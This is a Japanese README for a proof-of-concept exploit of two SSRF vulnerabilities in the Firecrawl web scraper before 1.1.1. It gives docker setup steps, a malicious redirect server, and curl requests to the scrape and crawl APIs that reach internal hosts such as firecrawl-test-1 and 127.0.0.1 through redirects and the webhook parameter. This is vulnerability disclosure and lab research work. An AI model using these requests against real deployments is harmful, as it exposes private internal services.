
Firecrawl WebスクレイパーにおけるSSRF脆弱性(CVE-2024-56800、CVE-2025-57818)を示す概念実証エクスプロイト。自己ホスト型セットアップと悪意のあるリダイレクトサーバーを使用。
https://nvd.nist.gov/vuln/detail/CVE-2024-56800
https://github.com/firecrawl/firecrawl/commit/4d1f92f4c8c36403022428285a03621fd90d62ec
https://github.com/firecrawl/firecrawl/security/advisories/GHSA-vjp8-2wgg-p734
Firecrawlは、Webページのコンテンツを抽出できるWebスクレイパーです。 バージョン1.1.1より前には、サーバーサイドリクエストフォージェリ(SSRF)の脆弱性が存在します。 スクレイパーエンジンは、Webサイトが任意のローカルIPアドレスへのリダイレクトを受け入れ、プライベートサーバー内のリソースが漏洩します。
該当コードは apps/api/src/controllers/v1/scrape.ts にあります。
ユーザー入力はサニタイズされておらず、プライベートIPアドレスが許可されています。127.0.0.1を使用すると、実際にはFirecrawlのローカルネットワークにリダイレクトされ、Firecrawlサーバーの内部サーバーが漏洩します。
git clone https://github.com/cyhe50/cve-2024-56800-poc
cd cve-2024-56800-poc
cd scraper/firecrawl-1.0.0
docker-compose up -d
cd ../..
cd malicious_server
docker build -t malicious_server .
docker run -p 8000:80 malicious_server
理由は、FirecrawlサーバーがプライベートURLをブロックするためです。 サーバーを公開したくない場合は、Firecrawl内の検証を直接コメントアウトしても問題ないと思います。
ここでは私が行った内容を記載します。 ngrok:
ngrok http 8000
curl: (正しいURLを貼り付けてください)
curl -X POST http://localhost:3002/v1/scrape \
-H 'Content-Type: application/json' \
-d '{
"url": "https://xxxxx.ngrok-free.app",
"formats": ["markdown", "html"]
}'

scraper.py
cd scraper
!! Dockerfileを開き、URLを生成したものに変更してください
docker build -t scraper .
docker run scraper
セルフホストのFirecrawlサーバーを起動すると、5つのサービスが有効になり、そのうちの1つは firecrawl-test-1 です(詳細は docker ps で確認できます)。
これら5つのサービスはすべて同じネットワークに設定されているため、接続先のコンテナ名を使用してお互いに接続できます。
例: (firecrawl-test-1 に接続)
ローカルマシンで直接curlを実行:
curl http://firecrawl-test-1:80
or
curl http://localhost:80
どちらも機能しません。なぜなら、これらはfirecrawl-test-1と同じネットワークにないからです。
ただし、firecrawl-api-1 内からアクセスする場合:
docker exec -it firecrawl-api-1 /bin/bash
curl http:firecrawl-test-1:80
or
curl http://localhost:80
これらは正しいデータを出力します。なぜなら、同じネットワークにいるからです。
悪意のあるサーバーでは、http://firecrawl-test-1:80 にリダイレクトします。これはFirecrawlネットワークでのみ機能するはずです。
したがって、firecrawl-test-1サーバーに到達できたということは、スクレイパーがその内部サーバーにリダイレクトされたことを意味します。
これにより、SSRFがどのようにプライベートサーバーのリソースを公開するのかが示されます。
これもSSRF脆弱性です。
これはcrawl APIで発生します。パラメータ webhook がサニタイズされておらず、攻撃者はFirecrawlのローカルネットワークにPOSTリクエストを送信できます。
該当コードは apps/api/src/services/webhook.ts にあります。問題は、入力 webhookUrl がサニタイズされていないことです。
Webhookは指定されたURLにPOSTリクエストを送信します。ここでは127.0.0.1に設定し、内部サーバーに正常に接続しました。
curl -X POST http://localhost:3002/v1/crawl \
-H 'Content-Type: application/json' \
-d '{
"url": "https://example.com",
"webhook": "http://127.0.0.1:80"
}'
内部サーバーはPOSTリクエストを正常に受信しました
![]()